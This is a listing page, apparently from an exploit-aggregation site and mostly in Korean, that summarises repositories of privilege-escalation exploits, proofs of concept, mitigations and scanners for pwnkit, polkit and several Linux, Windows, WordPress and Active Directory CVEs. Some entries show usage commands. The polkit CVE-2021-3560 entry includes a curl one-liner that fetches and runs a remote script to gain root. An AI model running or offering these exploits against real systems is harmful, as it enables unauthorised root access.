pwnkit-go

Pwnkit-go 이것은 Go로 작성된 pwnkit 취약점CVE-2021-4034에 대한 동작하는 익스플로잇입니다. 한번 시도해 보세요: root@kitploit: 취약한 vagrant 머신 생성 $ make vm ... 바이너리를 빌드하고 vagrant 박스로 scp $ make scp vagrant 박스에 ssh 접속 $ make ssh 기본 사용자는 "vagrant"입니다 vagrant@ubuntu-focal:$ whoami vagrant 익스플로잇 실행 vagrant@ubuntu-focal:/tmp$ cd /tmp &&...

blankspace

Blank Space Blank Space는 CVE-2021-43893, EFSRPC 임의 파일 업로드 권한 상승에 대한 James Forshaw의 원본 개념 증명을 리팩토링한 것입니다. Blank Space는 CVE-2021-43893에 대한 패치가 적용되지 않은, 제한 없는 위임unconstrained delegation을 사용하는 원격 호스트에 임의 파일을 생성할 수 있습니다. 파일 생성은 원격 사용자의 권한으로 수행되므로 코드 실행은 다소 추측에 가깝지만 확실히 가능성은 있습니다. Blank Space는...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034Pwnkit용 Dirty PoC 전체 크레딧은 Qualys 팀에게 있습니다: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

CVE-2026-68398

CVE-2026-68398: Ubuntu PPPoL2TP use-after-free 로컬 루트 권한 상승 이 저장소는 CVE-2026-68398 에 대한 특정 빌드 전용 로컬 권한 상승 익스플로잇을 포함합니다. 이 취약점은 PPPoL2TP 수신 처리와 연결되지 않은 PPP 채널 소멸 사이의 use-after-free 경쟁 조건입니다. QEMU에서 공식 Ubuntu 22.04 패키지 linux-image-5.15.0-187-generic5.15.0-187.197을 대상으로 검증되었습니다. 최종 테스트는 보충...

CVE-2023-21752

CVE-2023-21752 PoC для уязвимости произвольного удаления файлов в службе резервного копирования Windows. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 Этот репозиторий содержит два эксплойта: v1 - Просто выполняет удаление файла по выбору пользователя v2 - Пытается...

CVE-2026-3228

CVE-2026-3228 - NextScripts WordPress 플러그인 저장형 XSS 스캐너 및 익스플로잇 https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red 작성자: NULL200OK CVE-2026-3228을 스캔하고 익스플로잇하기 위한 종합적인 Python 도구로, NextScripts: Social...

codeql-sample-polkit

-- coding: utf-8 - - polkit pkexec バグ 概要 このリポジトリは、CodeQLを使用してpolkit pkexecバグを調査します。 以下が含まれます: データベース構築の手順 生成されたデータベース このバグを見つけるためのアプローチを示す一連のクエリ 完了済み: polkitソース/データベースの構築 脆弱なソースに対するcodeqlクエリ CFGの図解 未完了: パッチ適用済みソースも処理するためのcodeqlクエリの拡張 コマンドラインの手順 バグ Polkit pkexecバグ...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail（CVE-2026-31431）PoC 및 payload 예시입니다. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions 영향을 받는 Linux 배포판 Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el10...

CVE-2021-3560

CVE-2021-3560 Polkit 즉시 루트 익스플로잇 Polkit CVE-2021-3560 취약점이 있는 시스템에서 다음 명령어 한 줄로 루트 권한을 얻을 수 있습니다: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 또는 .sh 파일을 다운로드하거나 복사하여 붙여넣어 실행할 수 있습니다. 실행하면 즉시 루트 권한을 얻습니다. 생성되는 사용자 이름은 'n3on'이며 비밀번호는 없고, 스크립트는 이후 root...

CVE-2021-4034

CVE-2021-4034 polkit 권한 상승 익스플로잇을 위한 하루 간단히 실행하고 즐기세요 ./blasty 루트 셸에서. 실제 작성자들의 원본 공지는 - 여기 설치 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: root@kitploit: user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty...

CVE-2021-4034

CVE-2021-4034 PWNKIT CTF용 취약점 익스플로잇을 생성하는 스크립트. 소스 코드: github.com/berdav 실제 작성자: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2021-3560-Polkit-DBus

CVE-2021-3560-Polkit-DBus CVE-2021-3560 Polkit D-Bus 권한 상승을 위한 간단한 개념 증명PoC 스크립트입니다. 자세한 내용은 원본 블로그 게시물을 참조하세요: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ 사용법 실패할 경우 다른 등록되지 않은 사용자 이름으로 스크립트를 다시 실행해 보세요. root@kitploit: lowprivuser@machine:$ ./poc.sh PoC ─...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034용 간단한 PoC - 로컬 권한 상승 pkexec SUID 바이너리 취약점에 대한 설명은 여기의 권고문에 나와 있습니다...

CVE-2021-4034

CVE-2021-4034 재현 가능성을 위해 Docker화된 Polkit 권한 상승 익스플로잇입니다. Docker 실행 root@kitploit: docker build -t cve20214034 . docker run -it --rm cve20214034 익스플로잇 실행 root@kitploit: whoami user ./gain-root.sh whoami root 참고 자료 원본 권고: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt 참고한 익스플로잇:...

WSUS-RCE-Mitigation-59287

🚨 사이버보안 긴급 경보: WSUS RCE 취약점 CVE-2025-59287 🚨 제작자 및 크레딧: @esteban11121 본 가이드는 커뮤니티가 해당 취약점을 신속하게 완화할 수 있도록 작성되었습니다. 상태: 활발한 악용In-the-Wild 확인됨. 이는 WSUS 서버에 영향을 미치는 원격 코드 실행RCE 취약점으로, 인증되지 않은 공격자가 SYSTEM 권한을 획득할 수 있게 합니다. 즉각적인 대역외OOB 패치 조치가 필요합니다...

sudo-chroot

설명: Sudo 1.9.17p1 이전 버전은 --chroot 옵션과 함께 사용자 제어 디렉터리의 /etc/nsswitch.conf가 사용되므로 로컬 사용자가 루트 액세스 권한을 얻을 수 있습니다. sudo-chroot-R을 통한 로컬 권한 상승...

cve-2026-31431-mitigation

CVE-2026-31431 seccomp 완화 CVE-2026-31431을 위한 가볍고 되돌릴 수 있는 seccomp 기반 완화 도구입니다. 이 취약점은 Linux 커널의 algifaead / authencesn 암호화 서브시스템에서 발생하는 로컬 권한 상승 취약점입니다. 中文文档 취약점 개요 유형: 로컬 권한 상승LPE 영향을 받는 구성 요소: Linux 커널 crypto/algifaead.c - 제자리in-place AEAD 연산 공격 원리: authencesn AEAD 알고리즘의 스크래치 쓰기 경로를 통해 읽기 가능한 모...

Exploit-LPE-CVE-2026-21721

💥 CVE-2026-21721 익스플로잇 CVE-2026-21721 용 익스플로잇을 작성하고 테스트 스탠드에서 검증했습니다. 🎯 구성 내용 실전용 권한 상승 도구: 로그인 후 permissions를 읽고, 모든 대시보드에 Adminpermission=4 권한을 작성합니다. 익스플로잇에는 Editor 권한이 있는 유효한 계정이 필요합니다. 🧪 테스트 스탠드에서 검증됨 PoC가 확인된 fingerprint는 다음과 같습니다: root@kitploit: "database": "ok", "version": "12.1.1" 본 자료는 ...

CVE-2024-54910

CVE-2024-54910 https://vulners.com/cve/CVE-2024-54910 이 문서는 임의 파일 쓰기를 허용하여 Hasleo Backup Suite Free C:\SymbolicLinks\CreateSymlink.exe C:\C+\Temp\pwned.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FULLPWN.exe" Opened Link \RPC Control\pwned.exe -...

detect_CVE-2026-25177

detect-CVE-2026-25177 CVE-2026-25177 — Active Directory SPN 유니코드 충돌 취약점CVSS 8.8의 악용을 탐지하는 프로덕션 환경에서 안전한 스캐너입니다. 이 취약점은 SPN 쓰기 권한이 있는 모든 인증된 사용자가 서비스 사용자 이름SPN에 유니코드 문자를 주입하여 SYSTEM 권한으로 권한을 상승시킬 수 있게 하며, AD의 중복 SPN 검증을 우회하고 Kerberos 티켓 오발급을 유발합니다. 탐지 항목 SPN 내 유니코드 문자 — SPN 중독을 나타내는 제로 너비 공백, 호모글리...